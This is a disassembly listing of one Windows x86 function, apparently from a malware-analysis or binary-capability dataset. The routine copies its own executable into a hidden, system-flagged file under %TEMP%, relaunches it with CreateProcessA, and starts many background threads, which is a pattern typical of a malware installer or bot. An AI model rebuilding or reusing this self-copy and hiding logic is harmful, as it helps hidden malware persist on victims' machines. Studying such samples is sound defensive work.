Function at 0x408160
Capabilities:
Check if file exists
Create process on windows
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x17c
mov eax, dword [0x43f480]
xor eax, esp
mov dword [esp + 0x178], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0
mov dword [esp + 0x20], edi
call fcn.0042051a
add esp, 4
push eax
call fcn.004203e6
add esp, 4
push 0x104
lea eax, [esp + 0x7c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [0x442b24], 0
jne 0x4081be
call fcn.00401040
mov byte [0x442b24], 1
mov ecx, dword [0x442b58]
mov eax, dword [ecx + 0x98]
push eax
lea eax, [esp + 0x7c]
call fcn.00404ef0
add esp, 4
test al, al
je 0x4084d4
push str.TEMP
call fcn.004204a0
mov esi, eax
add esp, 4
push str..exe
mov eax, 0x10
mov dword [esp + 0x14], esi
call fcn.004021e0
mov dword [esp + 0x18], eax
lea eax, [esp + 0x7c]
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408210
sub eax, edx
mov ebx, eax
cmp byte [0x442b24], cl
jne 0x40822f
call fcn.00401040
mov byte [0x442b24], 1
mov edx, dword [0x442b58]
mov eax, dword [edx + 0x9c]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408240
sub eax, edx
mov edi, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408250
sub eax, edx
mov edx, eax
mov eax, dword [esp + 0x14]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408262
sub eax, esi
add eax, edx
add eax, edi
lea eax, [eax + ebx + 8]
push eax
call fcn.0041f104
add esp, 4
cmp byte [0x442b24], 0
mov edi, eax
mov dword [esp + 0x18], edi
jne 0x408297
call fcn.00401040
mov byte [0x442b24], 1
mov ecx, dword [0x442b58]
mov edx, dword [ecx + 0x9c]
push edx
lea eax, [esp + 0x7c]
push eax
push str._s__s.exe
push edi
call fcn.00420357
push 0x43bd44
push edi
call fcn.00420f39
add esp, 0x18
test eax, eax
jne 0x4082eb
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4082f4
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push ecx
push edx
push 0x43b384
push edi
call fcn.00420357
add esp, 0x10
jmp 0x4082f4
push eax
call fcn.00421860
add esp, 4
cmp byte [0x442b24], 0
jne 0x408309
call fcn.00401040
mov byte [0x442b24], 1
mov ecx, dword [0x442b58]
mov ecx, dword [ecx + 0x98]
push 0
push edi
lea eax, [esp + 0x80]
call fcn.004051a0
add esp, 8
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x19000
call fcn.0041f104
mov ebx, eax
mov eax, 1
add esp, 4
mov byte [ebx], 0
mov dword [esp + 0x10], eax
cmp dword [0x441d90], eax
jle 0x40842f
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408360
mov ecx, dword [esp + 0x10]
sub eax, edx
mov edx, eax
mov eax, dword [0x441d94]
mov eax, dword [eax + ecx*4]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408380
sub eax, esi
lea edx, [eax + edx + 2]
cmp edx, 0x19000
jae 0x40842f
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4083a0
mov ax, word [0x43b738]
mov ecx, dword [0x441d94]
mov edx, dword [esp + 0x10]
mov word [edi], ax
mov eax, dword [ecx + edx*4]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4083c0
sub eax, ecx
mov esi, ecx
lea edi, [ebx - 1]
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4083d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4083f0
mov ax, word [0x43b738]
mov word [edi], ax
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408404
mov eax, dword [esp + 0x10]
mov cx, word [0x43bc78]
inc eax
mov word [edi], cx
mov edi, dword [esp + 0x18]
mov dword [esp + 0x10], eax
cmp eax, dword [0x441d90]
jl 0x408357
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408434
sub eax, edx
mov esi, eax
mov eax, ebx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408444
sub eax, ecx
lea edx, [eax + esi + 8]
push edx
call fcn.0041f104
add esp, 4
push ebx
push edi
mov esi, eax
push str.__s___s
push esi
call fcn.00420357
push 0x44
lea eax, [esp + 0x44]
push 0
push eax
call fcn.00428440
add esp, 0x1c
xor eax, eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x34]
push edx
push eax
push eax
push 0x100
push eax
push eax
push eax
push esi
push eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push ebx
call fcn.004203db
add esp, 4
push esi
call fcn.004203db
mov eax, dword [esp + 0x18]
add esp, 4
push eax
call fcn.004203db
add esp, 4
push edi
call fcn.004203db
mov edi, dword [esp + 0x20]
add esp, 4
call fcn.004074e0
call fcn.004073f0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x407fb0
push 0
push 0
call esi
cmp byte [0x442b26], 0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jne 0x408511
push 0x32
call ebx
cmp byte [0x442b26], 0
je 0x408504
call fcn.00407b90
push 0
push 0
push 0
push 0x408600
push 0
push 0
call esi
call fcn.004061b0
push 0
push 0
push 0
push 0x406900
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4063b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4064e0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406c20
push 0
push 0
call esi
call fcn.00407e10
push 0
push 0
push 0
push 0x408830
push 0
push 0
call esi
push 0
push 0
push 0
push 0x408bd0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x408f40
push 0
push 0
call esi
push 0
push 0
push edi
push 0x409220
push 0
push 0
call esi
push 0
push 0
push edi
push 0x409a10
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40a280
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40b350
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40bd90
push 0
push 0
call esi
push 0x493e0
call ebx
jmp 0x4085f7